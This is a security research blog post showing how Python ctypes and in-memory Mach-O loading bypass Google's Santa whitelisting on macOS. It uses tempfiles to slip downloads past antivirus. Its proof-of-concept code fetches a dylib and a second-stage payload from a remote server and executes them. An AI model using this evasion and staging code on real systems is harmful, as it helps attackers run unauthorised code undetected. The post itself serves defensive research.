I recently became aware of Santa, an open source binary whitelisting system for MacOS created by Google (though not an official Google product). I was interested in it’s design and wanted to try to find a way to bypass it’s controls. I turned out to be successful and even found an interesting way to download “known bad” files without alerting a popular antivirus solution.

The code shown below can be found here.

Santa

From the Santa Github page:

Santa is a binary whitelisting/blacklisting system for macOS. It consists of a kernel extension that monitors for executions, a userland daemon that makes execution decisions based on the contents of a SQLite database, a GUI agent that notifies the user in case of a block decision and a command-line utility for managing the system and synchronizing the database with a server.

Santa is designed to restrict the execution of unauthorized Mach-O binary executables. Specifically, it intercepts calls to execve* at the kernel and uses filesystem metadata (filesystem id, unique file id) to identify the file being executed on the filesystem. Whitelist and blacklist rules are defined using either a SHA256 hash, signing certificate hash, or file path.

The Github page also has the following under the “Known Issues” section:

Santa only blocks execution (execve and variants), it doesn’t protect against dynamic libraries loaded with dlopen, libraries on disk that have been replaced, or libraries loaded using DYLD_INSERT_LIBRARIES.

So, the team that develops Santa acknowledges that the tool does not protect against these common library-based techniques. In any case, I wanted to find a way to execute arbitrary binaries using a different kind of technique, without the limitations of the most common libary injection attacks, without Santa detecting it.

Limitations of Common Injection Techniques on OSX

Dynamic library injection typically depends on the presence of binaries that are vulnerable to injection. Previously, attackers could depend on default macOS binaries that were vulnerable to the injection techniques described above, but SIP now prevents the use of DYLD_INSERT_LIBRARY and similar flags for Apple binaries.

Attackers must also:

  • Match version numbers between legit and injected library (dyld checks for matching versions)
  • Export the necessary symbols from the legit library to be used by the injected version

Finally, use of DYLD_INSERT_LIBRARY is a well-known technique, and when used on the command-line is easy to detect.

Cutting Out the Middle Man

What if we could load a dylib without the need for a vulnerable application to inject it into or any of the other limitations? We can accomplish this using Python’s ctypes module to load the library and call its functions from within Python. Pretty simple!

Here is a simple example to show this in action. This is the C code that is built as a shared library:

#include <stdio.h>
int main(void) {
    printf("Hello, from within Python\n");
}

And here is the Python code that loads the library and calls the main() function:

#!/usr/bin/python2.7
import ctypes
if '__main__' == __name__:
  mylib = ctypes.cdll.LoadLibrary("lib.dylib")
  mylib.main()

At this point we are able to execute code without the need for injectable binaries and Santa cannot detect it, but this is expected based on Santa’s known issues. Let’s take it a step further and used the shared library to execute Mach-O binaries in memory.

Bypassing Santa via In-Memory Execution

The technique of executing binaries from memory and ‘userland exec’-style attacks are not new but there is little research specific to the MacOS platform. The most informative to my own research was the work done by Stephanie Archibald on behalf of Cylance in 2017 3.

In this work, Stephanie describes the process of locating dyld in the memory space of the executing binary and using knowledge of existing structures and functionality to resolve the symbols necessary to load and execute a file image from memory. With these symbols resolved, it was then possible to load the target binary from disk and execute it from memory.

Specifically, the technique for loading and executing a binary from memory on MacOS involves the use of two deprecated methods in dyld, NSCreateObjectFileImageFromMemory and NSLinkModule. The symbols for these two functions are the ones that are resolved using the techniques defined in Stephanie’s PoC code. For a more detailed description of this technique and the overall process of accomplishing this type of execution, see Stephanie’s excellent blog post linked in the References section.

Tweaking an Existing PoC to Make a New One

I first confirmed the PoC code worked using the instructions provided and then compiled the code as a dynamic library and attempted to load it into Python using the technique described in the preceding section. This caused errors where the code in Stephanie’s PoC could not locate the necessary symbols in the symbol table.

Stephanie’s code was intended to be compiled and executed directly; for this reason, it makes some assumptions regarding the address space of the process when trying to locate the symbols for NSCreateObjectFileImageFromMemory and NSLinkModule. After some debugging and experimentation, I realized I could actually reference these functions directly in the code that would then be used as the “launcher” library and there was no need to resolve the given symbols directly from dyld in memory*. This led to a dylib that could be loaded into Python and used to execute other binaries. The code can be found here.

Below is a snippet of Python that loads this new code and uses it to execute /bin/cp:

import ctypes
import sys
if '__main__' == __name__:
  mylib = ctypes.cdll.LoadLibrary("rlm.dylib")
  mylib.launch("/bin/cp")

Output:

$ python2 poc.py 
usage: cp [-R [-H | -L | -P]] [-fi | -n] [-apvXc] source_file target_file
       cp [-R [-H | -L | -P]] [-fi | -n] [-apvXc] source_file ... target_directory

Great! We’ve now successfully loaded and executed a binary from the target system using this technique and Santa has not detected this execution of /bin/cp. The preceding examples assume the loaded dylib is already on the victim’s system, but realistically, this would likely to downloaded from a remote server. That would look like this:

import requests, ctypes
if '__main__' == __name__:
  r = requests.get("http://localhost:8080/rlm.dylib")
  r.raise_for_status()
  f = open("/tmp/lib", "wb")
  f.write(bytes(r.content))
  f.seek(0)
  mylib = ctypes.cdll.LoadLibrary(f.name)
  mylib.launch("/bin/cp")

Cool…now let’s get stealthier.

Getting Stealthier: Bypassing AV

Okay, so we can execute a binary on the target host. Using the same technique used to download the dylib from a remote server above, an attacker can also download the binary payload.

But wait – saving files to disk leaves traces for investigators to find. Sure, we can delete the dylib and binary from disk when we’re done, but having to provide a path for the newly created files means tipping analysts off to where our payloads where written. What if the payload is likely to trigger AV alerts? Introducing Python’s NamedTemporaryFile objects.

detected by AV (using EICAR file)

import requests
if '__main__' == __name__:
  # get the dylib from remote server
  r = requests.get("http://2016.eicar.org/download/eicar.com")
  r.raise_for_status()

  f = open("/tmp/eicsar.com", "wb")
  f.write(bytes(r.content))
  f.seek(0)
  f.close()

not detected by AV (using EICAR file)

import tempfile
import requests
 
if '__main__' == __name__:
  # get the dylib from remote server
  r = requests.get("http://2016.eicar.org/download/eicar.com")
  r.raise_for_status()
  # create a NamedTemporaryFile object to hold the dylib
  f = tempfile.NamedTemporaryFile(delete=True)
  f.write(bytes(r.content))
  f.seek(0)
  f.close()

Using this technique, I confirmed that I could go undetected by at least one popular AV solution when downloading this “known bad” file. I even went so far as to download the bad file to the same location where the tempfile names point to using standard Python file objects and confirmed that this did trigger an AV alert, indicating that the use of tempfile objects in particular led to AV’s inability to detect this bad file.

This means that all an attacker has to do is handle all executions of binary payloads in this manner and they have made it more difficult to detect both the presence and execution of malicious code. Short-living files also increase difficulty of analysis. Use encrypted binaries and things become ever more complicated.

A Final PoC - Putting It All Together

if '__main__' == __name__:
  # get the dylib from remote server
  r = requests.get("http://localhost:8080/rlm.dylib")
  r.raise_for_status()

  # create a NamedTemporaryFile object to hold the dylib
  f = tempfile.NamedTemporaryFile(delete=True)
  f.write(bytes(r.content))
  f.seek(0)

  # get the second-stage binary payload from the server
  r = requests.get("http://localhost:8080/t1")
  r.raise_for_status()

  # create a NamedTemporaryFile object to hold the binary
  b = tempfile.NamedTemporaryFile(delete=True)
  b.write(bytes(r.content))
  b.seek(0)

  # load the dylib from the tempfile and execute
  mylib = ctypes.cdll.LoadLibrary(f.name)
  mylib.launch(b.name)

Output

$ python2 poc_full.py 
Hello, world!! I hope Santa doesn't catch me being naughty!

Conclusion

Put together, the techniques described here were effective at bypassing Santa and went undetected by one commercial AV solution. This is not incredibly sophisticated, in my opinion, but it highlights the importance of layered defense and thinking creatively about where gaps in coverage exist in the security controls many depend on.

I wasn’t able to do testing across other application whitelisting or AV solutions for MacOS so I encourage as many people as possible to test this against your AV (using poc3_undetected.py) to see if it detects the EICAR file.

Resources

  • 1 - Writing Badass Malware For OSX, Patrick Wardle
  • 2 - DLL Hijacking on OSX, Patrick Wardle
  • 3 - Running Executables on macOS From Memory, Stephanie Archibald